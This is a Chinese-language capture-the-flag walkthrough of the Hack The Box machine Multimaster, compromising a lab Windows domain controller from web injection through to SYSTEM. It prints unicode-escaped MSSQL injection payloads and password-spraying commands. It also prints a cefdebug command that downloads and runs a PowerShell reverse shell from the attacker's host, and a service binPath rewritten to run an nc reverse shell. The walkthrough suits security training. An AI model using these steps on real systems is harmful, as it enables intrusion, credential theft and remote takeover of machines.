HTB-Multimaster
靶机ip:10.10.10.179
知识点
- MSSQL注入
- MSSQL注入枚举域用户
- CVE-2019-1414
- 滥用GenericWrite权限横向移动
- 滥用Server Operators组权限实现权限提升
- SeBackupPrivilege和SeRestorePrivilege权限的滥用
信息收集
nmap扫描
nmap -sS -sV -sC -p- 10.10.10.179
1 | Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-23 15:15 CST |
发现有DNS
服务、在80
端口有http
服务、Kerberos
服务、rpc
服务、smb
服务、ldap
服务以及3389
端口的rdp
服务,找到域名为MEGACORP.LOCAL
,且主机为Windows Server 2016
SMB
smbclient -N -L //10.10.10.179
没什么信息
rpc
rpcclient -U "" 10.10.10.179
rpc
不允许匿名访问
ldap
ldapsearch -H ldap://10.10.10.179:389 -x -b "DC=MEGACORP,DC=LOCAL"
ldap
也失败了,可能是身份验证出现了问题
http
在80
端口运行着一个web
服务
测试后发现几乎都点不了
在侧边栏点击Colleague Finder
后,会有一个搜索框,什么数据都不输点击回车会显示一些人名等信息,仅此而已
将用户保存下来,可能后面能用到
1 | sbauer@megacorp.htb |
在尝试拿gobuster
扫描一下,看看是否有其他信息
gobuster dir -u http://10.10.10.179 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
结果发现有巨多的403,不太符合正常情况,猜测有waf存在
这种搜索等功能可能会存在sql
注入之类的洞,拿burpsuit
抓个包看看
参数为'
试试
发现会报错,说明存在过滤,但是没有什么waf
信息,尝试fuzz
一下
wfuzz -c -u http://10.10.10.179/api/getColleagues -w /usr/share/seclists/Fuzzing/special-chars.txt -d '{"name":"FUZZ"}' -H 'Content-Type: application/json;charset=utf-8' -t 1 --hc 200
发现返回包中设置的字符编码是utf-8
,尝试一下其他编码能否绕过
测试后发现将'
按照unicode
编码后发现可以正常查询。绕过成功
MSSQL注入
sqlmap获取数据
通过unicode
编码可以绕过waf
,就能正常注入了,这里直接拿sqlmap
跑一下
python3 /usr/share/sqlmap/sqlmap.py -r post.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch
--tamper=charunicodeescape
:将payload中的所有字符进行unicode编码
--delay 5
: 延迟时间为5s,避免请求次数太快被ban
--level 5 --risk 3
:使用更全面更复杂的payload
--batch
:自动接受所有提示
从上述结果中可以发现,该数据库是SQL Server
并且sqlmap
成功执行,继续找数据库名
python3 /usr/share/sqlmap/sqlmap.py -r post.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch -dbs
先查看Hub_DB
数据库看看有哪些表
python3 /usr/share/sqlmap/sqlmap.py -r post.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch -D Hub_DB -tables
有两个表,直接查看一下表中的值
Colleagues
python3 /usr/share/sqlmap/sqlmap.py -r post.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch -D Hub_DB -T Colleagues --dump
这是一张同事表,存储着每个人的信息
Logins
python3 /usr/share/sqlmap/sqlmap.py -r post.txt --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch -D Hub_DB -T Logins --dump
发现是所有用户的用户名和密码,将用户名和密码保存到文件中,方便后续使用
users
1 | sbauer |
passwords
1 | 9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739 |
这时发现大多数密码都是一样的
hashcat破解密码
先利用john
尝试破解密码
发现并没有成功,尝试使用hash-identifier
查看数据类型
发现长度为384,测试后发现是Keccak-384
hashcat -m 17900 passwords /usr/share/wordlists/rockyou.txt --force
最后也是成功破解出三个密码,虽然数据库中有一堆用户,但是只有四个唯一的密码找到与其对应的用户名
用户名 | 密码 |
---|---|
sbauer, shayna, james, cyork, jorden, aldom | password1 |
ckane, kpage, zac, ilee, zpowers | finance1 |
okent, rmartin, alyx, nbourne | banking1 |
minatotw, egre55 | 未知 |
发现不知道密码的两个人身份是CEO
,将密码重新保存至新的文件passwds
密码喷洒
将提取出来的密码保存下来,尝试使用crackmapexec
进行密码喷洒
crackmapexec smb 10.10.10.179 -u users -p passwords
都失败了,只能寻找其他办法了,尝试寻找其他数据库中的信息,然而这些数据库中没有有用的信息
MSSQL 注入枚举域用户名
攻击原理
通过网上搜索发现可以使用 RID 蛮力通过 MSSQL 注入来执行Active Directory枚举获取用户名
攻击原理:
- 找出域名
- 找出域的SID
- 通过迭代一系列 RID 来确定每个对象的名称,从而构建用户、组和计算机 SID
SQL Server中有一个函数叫做SUSER_SID()可以用来,它可以返回给定用户的安全标识号(SID),使用它来标识主域管理员的SID。
利用SQL注入枚举域内用户主要用到两个函数是SUSER_SID和SUSER_SNAME
先使用SUSER_SID函数拿到域的SID,之后使用SUSER_SNAME函数通过之前拿到的SID进行拼接RID进行枚举域用户名,之后在通过拿到的域用户名喷洒之前获得的凭据密码。
从之前sqlmap
获取数据部分可以知道,字段数为5,回显位置是4
这里借助CyberChef
工具的Escape Unicode Characters
模块,可以很方便的帮助我们进行编码
可以看到,将sqlmap
跑出来的Payload
经过unicode
编码后,利用burpsuite
发送仍然有效,数据显示在阿email
位置,接下来就可以继续操作了
获取默认域
第一步就是要获取域的名称,利用default_domain()
函数获取域名
a ' union select 1,2,3,(select default_domain()),5 --
将payload
编码后发送
可以获得域名MEGACORP
获取域的 SID
知道域名后,可以使用一致的内置账户或组(如:Administrator
账户)注入获取SID
值,在无类型转换的情况下会返回一个二进制数据,不利于我们读取,所以使用sys.fn_varbintohexstr
将其包装起来,使其能够在http
中直观地看出数据
sys.fn_varbintohexstr
是 Microsoft SQL Server 中的一个系统函数。它用于将二进制数据转换为十六进制字符串表示
a ' union select 1,2,3,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator'))),5 --
将payload
编码后发送
这里就拿到了SID的十六进制:
0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000`
但是我们需要将这个16进制数据转换成SID
格式,这里利用python
脚本实现
1 | def hex_to_sid(hex_str): |
最后就获得了SID
:S-1-5-21-3167813660-1240564177-918740779-500
枚举用户RID
上一步获取了Administertor
的SID
,可以利用之前提到过的SUSER_SNAME()
函数验证一下
a ' union select 1,2,3,(select SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000)),5 --
验证没问题,并且知道Administertor
的RID
是500
接下来就可以通过这个RID
的值来爆破其他域用户名,这里使用python
脚本来实现,但是要注意不要请求的太快,请求太快会被waf
拦截,用sleep
函数来达到延时访问的效果
1 | import requests |
运行上述脚本等待一会儿,就可以得到该域内几乎全部的用户名,将用户名保存到文件users.txt
中,顺便把MEGACORP\
过滤掉
1 | Administrator |
二次密码喷洒登录tushikikatomo
用刚得到的用户名以及密码进行密码喷洒
crackmapexec smb 10.10.10.179 -u users.txt -p passwds
最后也是在漫长的等待中,找到了正确的用户名和密码,在查看一下能否winrm
登录
crackmapexec winrm 10.10.10.179 -u tushikikatomo -p finance1
可以登录,直接登录该用户
evil-winrm -i 10.10.10.179 -u tushikikatomo -p finance1
登陆成功
最后在Desktop
目录下找到user.txt
横向移动
bloodhound信息搜集
先使用bloodhound
进行信息搜集,看看能不能有有价值的信息
发现还有很多其他用户,但是没找到什么其他信息
还是去翻翻文件夹吧
也是翻了好久,最后在Program Files
文件夹中,发现一堆应用
再看下进程看看那些应用在运行
发现在最上面运行着一堆Code
进程,猜测跟VSCode
应用有关,确认一下
发现确实是该应用,看看该应用的版本
在C:\Program Files\Microsoft VS Code\resources\app
目录下找到package.json
在网上搜索该版本是否有漏洞,发现如下结果
CVE-2019-1414登录cyork
当 Visual Studio Code 向本地计算机的用户公开调试侦听器时,它会存在特权提升漏洞。成功利用此漏洞的本地攻击者可以注入任意代码以在当前用户的上下文中运行。如果当前用户使用管理用户权限登录,则攻击者可以控制受影响的系统。
详细利用方法
使用工具cefdebug可以利用这个漏洞
先将工具下载到本地,再将cefdebug.exe
传到机器上
运行该文件
扫描本地机器并成功获得了三个 CEF
调试器,随便找一个通过代码来验证
1 | ./cefdebug.exe --url ws://127.0.0.1:22048/43667936-2666-4f67-898b-5d4a75cd2f4a --code "process.version" |
验证成功,发现可以执行命令,接下来就可以利用这个获取一个shell
拿下面的powershell
命令反弹shell
,先将该命令保存为shell.ps1
至本地
1 | $ip = "10.10.14.3" |
在kali
开启监听,同时开启http
服务
1 | nc -lvp 8888 |
最后使用cefdebug.exe
运行 CEF
调试器的服务器执行反弹 shell
1 | .\cefdebug.exe --url ws://127.0.0.1:22048/43667936-2666-4f67-898b-5d4a75cd2f4a --code "process.mainModule.require('child_process').exec('powershell IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.3/shell.ps1\')')" |
该命令将文件下载并执行而不是将文件传到机器上并执行,这样就绕过了本地的脚本执行策略
这时我们就拿到了cyork
用户的权限
SMB传输敏感文件
测试后发现cyork
用户可以访问 C:\inetpub\wwwroot\bin
目录,之前的用户访问是不行的
在这里发现了一些dll
文件
这里注意到有一个名为MultimasterAPI.dll
的DLL
尝试利用SMB
共享将文件下载下来
首先使用 smbserver.py
建立一个共享服务器
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./
在靶机上执行
1 | net use x: \\10.10.14.3\share |
此时发现已经将文件下载到本地了
逆向分析dll文件获取密码
分析一下是什么文件
发现是.NET
文件,用dnSpy
工具分析
最后发现密码D3veL0pM3nT!
三次密码喷洒登录sbauer
熟悉的密码,熟悉的用户名列表,再次进行密码喷洒。这次的用户名列表和第一次的一样
crackmapexec smb 10.10.10.179 -u users -p D3veL0pM3nT!
再验证一下可不可以登录
crackmapexec winrm 10.10.10.179 -u sbauer -p 'D3veL0pM3nT!'
可以远程登录,直接登录
evil-winrm -i 10.10.10.179 -u sbauer -p 'D3veL0pM3nT!'
登录成功,但是发现没什么可以直接利用能够提权的权限
bloodhound二次信息搜集
现在我们已经拿下了三个用户,分别是tushikikatomo
、cyork
、sbauer
在bloodhound
中将他们标记为已经拿下的用户,然后点击Shortest Paths to High Value Targets
看着就好复杂,但是仔细看会发现很多重要的信息
仔细看会发现sbauer
用户和jorden
用户有GenericWrite
关系,并且jorden
用户属于SERVER_OPERATORS
组(高权限组),我们可以试试能否通过滥用GenericWrite
权限实现横向移动
滥用GenericWrite权限横移登录jorden
先看看之前提到的 AS-REP roasting攻击,该攻击允许为选择了“不需要 Kerberos 预身份验证”属性的用户破解密码哈希的技术。事实上,如果用户没有启用 Kerberos 预身份验证,我们可以为该用户请求 AS-REP,并且可以离线破解从而尝试恢复其明文密码。而这里SBAUER用户对JORDEN用户具有通用写权限,那么我们可以为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性,从而尝试使用AS-REP roasting攻击获取其明文密码。
可以使用下面这条命令来为jorden
用户设置“不需要 Kerberos
预身份验证”的属性
1 | Get-ADUser jorden | Set-ADAccountControl -doesnotrequirepreauth $true |
使用impactet
下的GetNPUsers
脚本来获取jorden
用户的AS-REP
票据
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py megacorp.local/jorden -dc-ip 10.10.10.179
这样就获取到了AS-REP
票据,将上述票据保存至文件hash
中
1 | $krb5asrep$23$jorden@MEGACORP.LOCAL:6127c87770a9aed57005d987e2818bd2$b6a67b254f3670033f7f32d0da0a98deae8f8dbbbd71917d7e27b9ef57ff4a394af9046f1a7673137568f7572276cfaad5af44c4def95bdadeaca1dbbe31fce3c9414823286c8a8a350b7bddce823eb93d4289a49d1e8dae1654ee01cc64d744a088c9723bc5183c0a8d0128b9b394973cbdf7051400953c5e9c6250c191c020ad1bb13615a6a60f02539b169280384e47f5049f8ccc8f9c882918c7d740044118ef07d521344784d8717fb6f6223bdffd341d7334e50e184dfb3c390913381725c7bec1a212fa0a148287bebe6cac9c114974b08bc658c3acfc61ad18ade1bc1d9419790395ef5b16edc5e2145e11d0 |
使用john
尝试破解获取明文密码
john hash -w=/usr/share/wordlists/rockyou.txt
john hash -w=/usr/share/wordlists/rockyou.txt
得到jorden
用户的明文密码:rainforest786
利用crackmapexec
验证是否能够远程登录
crackmapexec winrm 10.10.10.179 -u jorden -p 'rainforest786'
可以登录,直接利用evil-winrm
登录
evil-winrm -i 10.10.10.179 -u jorden -p 'rainforest786'
登陆成功
AD域提权
信息搜集
先看一下该用户所拥有的权限
之前在bloodhound
中提到过该用户属于SERVER_OPERATORS
组(高权限组)
Server Operators组:该组仅存在于域控制器上的内置组。默认情况下,该组没有成员。服务器操作员可以交互式登录到服务器;创建和删除网络共享;启动和停止服务;备份和恢复文件;格式化电脑硬盘;并关闭计算机。
所以可以尝试利用一下该组权限
滥用Server Operators组权限实现权限提升
- 利用思路
可以找系统服务,将其执行改写,比如我让他去执行nc为我机器建立一个反向连接的shell,然后将服务重启,那么系统便会加载该服务并建立一个反向连接的shell给我的机器,该shell应该是系统级别的。
首先通过upload
将``nc64.exe传上去
经过多次测试后发现可以改变browser
服务的路径
sc.exe config browser binPath= "C:\Users\jorden\Documents\nc64.exe -e cmd.exe 10.10.14.3 80"
先在kali
中设置监听
nc -lvp 80
然后在靶机中手动重启browser
服务
sc.exe stop browser
sc.exe start browser
此时kali
中收到回显
发现已经是system
权限
最后在C:\Users\Administrator\Desktop
目录下找到root.txt
其他提权方法
SeBackupPrivilege和SeRestorePrivilege权限的滥用
在对jorden
用户信息搜集的时候,发现如下内容
发现该用户具有SeBackupPrivilege
和SeRestorePrivilege
权限
有了SeBackupPrivilege
和SeRestorePrivilege
这两个权限,就可以用robocopy
来读取文件
robocopy /b C:\users\administrator\desktop C:\Users\jorden\Documents